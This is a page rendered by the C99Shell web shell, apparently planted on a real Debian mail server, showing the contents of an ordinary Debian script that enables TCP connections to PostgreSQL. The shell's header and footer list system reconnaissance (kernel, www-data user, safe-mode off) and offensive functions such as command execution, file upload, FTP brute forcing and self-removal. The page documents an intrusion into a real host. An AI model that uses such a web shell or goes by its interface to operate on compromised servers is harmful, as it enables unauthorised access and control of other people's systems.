!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/wwwconfig-common/   drwxr-xr-x
Free 130.03 GB of 142.11 GB (91.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pgsql-allowip.sh (3.04 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/bin/sh
# File:		pgsql-allowip.sh
# Changes:
#	20010225 Ola Lundqvist <opal@debian.org>
#	20011022 Luca De Vitis <luca@debian.org>
#      		Changed the sed script on line 18.
#		Need only one regular expression.
# Needs:
#		/etc/postgresql/postmaster.init or
#		/etc/postgresql/postmaster.conf
# Description:	Allows ip connections to database.
# Sets:		$status = {error, nothing, restart, start}
#		$error = error message (if $status = error)

status=error

if [ -f /etc/postgresql/postmaster.conf ] ; then
    # Allowed by default so not change should be needed, but it will be
    # done anyway, to make sure that it works.
    status=nothing
    if grep -e 'tcpip_socket' /etc/postgresql/postmaster.conf > /dev/null 2>&1 ; then
	if ! grep -e '^[[:space:]]*tcpip_socket[[:space:]]*=[[:space:]]*1' \
	    /etc/postgresql/postmaster.conf > /dev/null 2>&1 ; then
	    sed -e 's/#[[:space:]]*tcpip_socket[[:space:]]*=.*/tcpip_socket=1/;' \
		/etc/postgresql/postmaster.conf \
		> /etc/postgresql/postmaster.conf.tmp
	    if grep 'tcpip_socket=1' \
		/etc/postgresql/postmaster.conf.tmp \
		> /dev/null 2>&1; then
		cp /etc/postgresql/postmaster.conf \
		    /etc/postgresql/postmaster.conf.back > /dev/null 2>&1
		mv /etc/postgresql/postmaster.conf.tmp \
		    /etc/postgresql/postmaster.conf > /dev/null 2>&1;
		log="${log}Now restarting postgres to make this take effect."
		status=restart
		/etc/init.d/postgresql restart || true
		log="${log}Waiting for the database to really start."
		sleep 5
	    else
		error="Local database configuration was not successful, trying anyway."
		status=error
		rm -f /etc/postgresql/postmaster.conf.tmp
	    fi
	fi
    fi
    if ! ps xa | grep "postgresql/bin/postmaster" > /dev/null 2>&1 ; then
	/etc/init.d/postgresql start || true
	echo "Waiting for the database to really start."
	status=start
	sleep 5
    fi
elif [ -f /etc/postgresql/postmaster.init ] ; then
    if grep -e 'PGALLOWTCPIP' /etc/postgresql/postmaster.init \
	> /dev/null 2>&1 ; then
	if ! grep -e '^[[:space:]]*PGALLOWTCPIP=yes' \
	    /etc/postgresql/postmaster.init > /dev/null 2>&1 ; then
	    /bin/sed -e \
		's#\# PGALLOWTCPIP=no#PGALLOWTCPIP=yes#;
	s#\# PGALLOWTCPIP=yes#PGALLOWTCPIP=yes#' \
	    /etc/postgresql/postmaster.init \
		> /etc/postgresql/postmaster.init.tmp
	    if grep 'PGALLOWTCPIP=yes' \
		/etc/postgresql/postmaster.init.tmp \
		>/dev/null 2>&1; then
		cp /etc/postgresql/postmaster.init \
		    /etc/postgresql/postmaster.init.back > /dev/null 2>&1
		mv /etc/postgresql/postmaster.init.tmp \
		    /etc/postgresql/postmaster.init >/dev/null 2>&1;
		echo "Now restarting postgres to make this take effect."
		status=restart
		/etc/init.d/postgresql restart || true
		echo "Waiting for the database to really start."
		sleep 5
	    else
		echo "Local database configuration was not successful, trying anyway."
		status=error
		rm -f /etc/postgresql/postmaster.init.tmp
	    fi
	fi
    fi
    if ! ps xa | grep "postgresql/bin/postmaster" > /dev/null 2>&1 ; then
	/etc/init.d/postgresql start || true
	echo "Waiting for the database to really start."
	status=start
	sleep 5
    fi
fi

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0084 ]--